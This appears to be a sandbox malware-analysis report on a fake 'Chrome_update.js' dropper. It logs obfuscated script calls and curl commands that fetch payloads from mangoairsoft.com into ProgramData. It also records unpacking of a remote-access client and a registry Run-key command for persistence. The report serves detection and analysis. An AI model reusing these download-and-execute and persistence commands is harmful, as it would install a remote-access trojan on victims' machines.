Source: unknown	HTTPS traffic detected: 188.127.230.147:443 -> 192.168.2.3:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.127.230.147:443 -> 192.168.2.3:49701 version: TLS 1.2

Source: 7zz.exe, 0000000F.00000002.401788266.000000000070A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: Yara match	File source: 18.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.7zz.exe.249b790.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.7zz.exe.24a8280.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.7zz.exe.24a3908.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.7zz.exe.24a8280.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.424736480.0000000011194000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.442419943.0000000011194000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.910282080.0000000011194000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7zz.exe PID: 7416, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 7492, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 7756, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 7796, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\PCICL32.DLL, type: DROPPED

Source: C:\ProgramData\7zz.exe	Code function: 15_2_00403A70	15_2_00403A70
Source: C:\ProgramData\7zz.exe	Code function: 15_2_00417BAE	15_2_00417BAE
Source: C:\ProgramData\7zz.exe	Code function: 15_2_004442E0	15_2_004442E0
Source: C:\ProgramData\7zz.exe	Code function: 15_2_004285AD	15_2_004285AD
Source: C:\ProgramData\7zz.exe	Code function: 15_2_00448730	15_2_00448730
Source: C:\ProgramData\7zz.exe	Code function: 15_2_0044CA40	15_2_0044CA40
Source: C:\ProgramData\7zz.exe	Code function: 15_2_00454B10	15_2_00454B10
Source: C:\ProgramData\7zz.exe	Code function: 15_2_00458B30	15_2_00458B30
Source: C:\ProgramData\7zz.exe	Code function: 15_2_00450BD0	15_2_00450BD0
Source: C:\ProgramData\7zz.exe	Code function: 15_2_00434D28	15_2_00434D28
Source: C:\ProgramData\7zz.exe	Code function: 15_2_00460DF8	15_2_00460DF8
Source: C:\ProgramData\7zz.exe	Code function: 15_2_00451050	15_2_00451050
Source: C:\ProgramData\7zz.exe	Code function: 15_2_00459170	15_2_00459170
Source: C:\ProgramData\7zz.exe	Code function: 15_2_004311FE	15_2_004311FE
Source: C:\ProgramData\7zz.exe	Code function: 15_2_00449460	15_2_00449460
Source: C:\ProgramData\7zz.exe	Code function: 15_2_004514F0	15_2_004514F0
Source: C:\ProgramData\7zz.exe	Code function: 15_2_004217DA	15_2_004217DA
Source: C:\ProgramData\7zz.exe	Code function: 15_2_00441925	15_2_00441925
Source: C:\ProgramData\7zz.exe	Code function: 15_2_0042DBB6	15_2_0042DBB6
Source: C:\ProgramData\7zz.exe	Code function: 15_2_00459E70	15_2_00459E70
Source: C:\ProgramData\7zz.exe	Code function: 15_2_00461EF0	15_2_00461EF0
Source: C:\ProgramData\7zz.exe	Code function: 15_2_00459F80	15_2_00459F80
Source: C:\ProgramData\7zz.exe	Code function: 15_2_0045E0C0	15_2_0045E0C0
Source: C:\ProgramData\7zz.exe	Code function: 15_2_0046A2A0	15_2_0046A2A0
Source: C:\ProgramData\7zz.exe	Code function: 15_2_0044A440	15_2_0044A440
Source: C:\ProgramData\7zz.exe	Code function: 15_2_0046A460	15_2_0046A460
Source: C:\ProgramData\7zz.exe	Code function: 15_2_0044E430	15_2_0044E430

Source: C:\ProgramData\7zz.exe	Code function: String function: 0046B890 appears 359 times
Source: C:\ProgramData\7zz.exe	Code function: String function: 00407A18 appears 125 times

Source: Chrome_update.js

Initial sample: Strings found which are bigger than 50

Source: C:\ProgramData\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\ProgramData\client32.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\ProgramData\client32.exe	Section loaded: pcihooks.dll	Jump to behavior
Source: C:\ProgramData\client32.exe	Section loaded: pciinv.dll	Jump to behavior
Source: C:\ProgramData\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\ProgramData\client32.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\ProgramData\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\ProgramData\client32.exe	Section loaded: nslsp.dll	Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Chrome_update.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C://ProgramData//xcpCFFjZKLTFFLZfvqyQQKBvqwD.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\sett.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z" -o "C:\ProgramData\lolo.7z"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\7z.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\qweq.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat" -o "C:\ProgramData\qweq.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\qweq.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /h /y 7zz.exe C:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe TIMEOUT /T 7
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\7zz.exe C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\client32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\client32.exe C:\ProgramData\client32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Source: unknown	Process created: C:\ProgramData\client32.exe "C:\ProgramData\client32.exe"
Source: unknown	Process created: C:\ProgramData\client32.exe "C:\ProgramData\client32.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C://ProgramData//xcpCFFjZKLTFFLZfvqyQQKBvqwD.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\sett.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\7z.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\qweq.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\qweq.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z" -o "C:\ProgramData\lolo.7z"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat" -o "C:\ProgramData\qweq.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /h /y 7zz.exe C:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe TIMEOUT /T 7
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\client32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\7zz.exe C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\client32.exe C:\ProgramData\client32.exe	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\11[1].bat

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\b1.vbs

Source: classification engine

Classification label: mal96.troj.evad.winJS@40/37@5/4

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5988:120:WilError_01

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C://ProgramData//xcpCFFjZKLTFFLZfvqyQQKBvqwD.bat

Source: C:\ProgramData\7zz.exe

File written: C:\ProgramData\NSM.ini

Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\curl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\curl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\curl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\curl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\curl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\curl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\ProgramData\client32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\ProgramData\client32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\ProgramData\client32.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Source: C:\ProgramData\7zz.exe

File opened: C:\ProgramData\msvcr100.dll

JScript performs obfuscated calls to suspicious functions

Source:	Binary string: msvcr100.i386.pdb source: 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.911355079.000000006F0D1000.00000020.00000001.01000000.0000000C.sdmp, client32.exe, 00000016.00000002.425934422.000000006F0D1000.00000020.00000001.01000000.0000000C.sdmp, client32.exe, 00000017.00000002.442852072.000000006F0D1000.00000020.00000001.01000000.0000000C.sdmp, msvcr100.dll.15.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.910282080.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.424736480.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.442419943.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.15.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.911218800.000000006F080000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.15.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\client32\Release\client32.pdb source: 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000000.412323829.0000000000242000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000012.00000002.908996646.0000000000242000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000016.00000000.422585453.0000000000242000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000016.00000002.424059492.0000000000242000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000017.00000000.440898927.0000000000242000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000017.00000002.441826424.0000000000242000.00000002.00000001.01000000.00000008.sdmp, client32.exe.15.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: 7zz.exe, 0000000F.00000003.399920793.0000000002836000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.15.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\Full\pcichek.pdb source: 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.912056852.0000000073512000.00000002.00000001.01000000.0000000A.sdmp, client32.exe, 00000016.00000002.427152630.0000000073512000.00000002.00000001.01000000.0000000A.sdmp, client32.exe, 00000017.00000002.443134336.0000000073512000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.911218800.000000006F080000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.15.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: 7zz.exe, 0000000F.00000003.399920793.0000000002836000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.15.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.911966685.000000006F935000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000016.00000002.426874731.000000006F935000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000017.00000002.443056390.000000006F935000.00000002.00000001.01000000.0000000B.sdmp, pcicapi.dll.15.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.910282080.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.424736480.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.442419943.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.15.dr

Data Obfuscation

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: CreateTextFile("Z:\syscalls\318.js.csv");IServerXMLHTTPRequest2.onreadystatechange("Unsupported parameter type 00000009");IServerXMLHTTPRequest2._00000000();ITextStream.WriteLine(" entry:150 o: f:open a0:%22GET%22 a1:%22https%3A%2F%2Fmangoairsoft.com%2F05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1%2F11.bat%3F81197%22 a2:false");IServerXMLHTTPRequest2.open("GET", "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf250", "false");ITextStream.WriteLine(" exec:36 f:");IServerXMLHTTPRequest2.readyState();IServerXMLHTTPRequest2._00000000();ITextStream.WriteLine(" exit:150 o: f:open r:undefined");IServerXMLHTTPRequest2._00000000();ITextStream.WriteLine(" entry:177 o: f:send");IServerXMLHTTPRequest2.send();ITextStream.WriteLine(" exec:36 f:");IServerXMLHTTPRequest2.readyState();ITextStream.WriteLine(" exec:36 f:");IServerXMLHTTPRequest2.readyState();ITextStream.WriteLine(" exec:36 f:");IServerXMLHTTPRequest2.readyState();ITextStream.WriteLine(" exec:36 f:");IServerXMLHTTPRequest2.readyState();_Stream._00000000();ITextStream.WriteLine(" entry:90 o: f:open");_Stream.Open();_Stream._00000000();ITextStream.WriteLine(" exit:90 o: f:open r:undefined");_Stream.Type("1");IServerXMLHTTPRequest2.responseBody();_Stream._00000000();ITextStream.WriteLine(" entry:106 o: f:write a0:");_Stream.Write("Unsupported parameter type 00002011");_Stream._00000000();ITextStream.WriteLine(" exit:106 o: f:write r:undefined");_Stream.Position("0");_Stream._00000000();ITextStream.WriteLine(" entry:132 o: f:saveToFile a0:%22C%3A%2F%2FProgramData%2F%2FxcpCFFjZKLTFFLZfvqyQQKBvqwD.bat%22 a1:2");_Stream.SaveToFile("C://ProgramData//xcpCFFjZKLTFFLZfvqyQQKBvqwD.bat", "2");_Stream._00000000();ITextStream.WriteLine(" exit:132 o: f:saveToFile r:undefined");_Stream._00000000();ITextStream.WriteLine(" entry:144 o: f:close");_Stream.Close();_Stream._00000000();ITextStream.WriteLine(" exit:144 o: f:close r:undefined");IServerXMLHTTPRequest2._00000000();ITextStream.WriteLine(" exit:177 o: f:send r:undefined");ITextStream.WriteLine(" entry:185 f:ActiveXObject a0:%22new%3A%7BF935DC22-1CF0-11D0-ADB9-00C04FD58A0B%7D%22");IWshShell3._00000000();ITextStream.WriteLine(" exit:185 f:ActiveXObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:198 o: f:RUN a0:%22cmd%20%2Fc%20C%3A%2F%2FProgramData%2F%2FxcpCFFjZKLTFFLZfvqyQQKBvqwD.bat%22 a1:0 a2:true");IWshShell3.Run("cmd /c C://ProgramData//xcpCFFjZKLTFFLZfvqyQQKBvqwD.bat", "0", "true")

Source: C:\ProgramData\7zz.exe	Code function: 15_2_0046CC80 push eax; ret		15_2_0046CCAE
Source: C:\ProgramData\7zz.exe	Code function: 15_2_00459590 push ecx; mov dword ptr [esp], ecx		15_2_00459591

Source: 7zz.exe.6.dr	Static PE information: section name: .sxdata
Source: putty.exe.15.dr	Static PE information: section name: .00cfg
Source: putty.exe.15.dr	Static PE information: section name: .gxfg
Source: putty.exe.15.dr	Static PE information: section name: _RDATA
Source: PCICL32.DLL.15.dr	Static PE information: section name: .hhshare

Source: C:\ProgramData\7zz.exe

Code function: 15_2_00471C24 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

15_2_00471C24

Source: initial sample

Static PE information: section name: .text entropy: 6.909044922675825

Persistence and Installation Behavior

Command shell drops VBS files

Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\b1.vbs	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\b2.vbs	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\b3.vbs	Jump to behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe

Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\remcmdstub.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\PCICHEK.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\PCICL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\TCCTL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\HTCTL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\client32.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\putty.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\msvcr100.dll	Jump to dropped file
Source: C:\Windows\System32\curl.exe	File created: C:\ProgramData\7zz.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\pcicapi.dll	Jump to dropped file

Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\remcmdstub.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\PCICHEK.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\PCICL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\TCCTL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\HTCTL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\client32.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\putty.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\msvcr100.dll	Jump to dropped file
Source: C:\Windows\System32\curl.exe	File created: C:\ProgramData\7zz.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\pcicapi.dll	Jump to dropped file

Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run CachedX			Jump to behavior
Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run CachedX			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 5050 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 5050 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 5050

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\timeout.exe TID: 7408

Thread sleep count: 49 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\ProgramData\7zz.exe	Dropped PE file which has not been started: C:\ProgramData\remcmdstub.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	Dropped PE file which has not been started: C:\ProgramData\TCCTL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	Dropped PE file which has not been started: C:\ProgramData\putty.exe	Jump to dropped file

Source: C:\ProgramData\client32.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

System process connects to network (likely due to code injection or exploit)

Source: C:\ProgramData\7zz.exe

Code function: 15_2_0040C5F4 GetSystemInfo,

15_2_0040C5F4

Source: C:\ProgramData\7zz.exe

Code function: 15_2_0040B174 __EH_prolog,FindFirstFileW,FindFirstFileW,FindFirstFileW,AreFileApisANSI,FindFirstFileA,

15_2_0040B174

Source: C:\ProgramData\client32.exe

API call chain: ExitProcess graph end node

graph_18-24

Source: HTCTL32.DLL.15.dr	Binary or memory string: VMware
Source: curl.exe, 00000006.00000003.395102653.000001925B640000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllNN>
Source: HTCTL32.DLL.15.dr	Binary or memory string: hbuf->datahttputil.c%5d000000000002004C4F4F50VirtualVMwareVIRTNETGetAdaptersInfoiphlpapi.dllcbMacAddress == MAX_ADAPTER_ADDRESS_LENGTHmacaddr.cpp,%02x%02x%02x%02x%02x%02x* Netbiosnetapi32.dll01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZwhoa nelly, says Sherman, the Sharkhellooo nurse!kernel32.dllProcessIdToSessionId%s_L%d_%xNOT copied to diskcopied to %sAssert failed - Unhandled Exception (GPF) -
Source: TCCTL32.DLL.15.dr	Binary or memory string: skt%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllGetAdaptersInfoIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlTCREMOTETCBRIDGE%s=%s
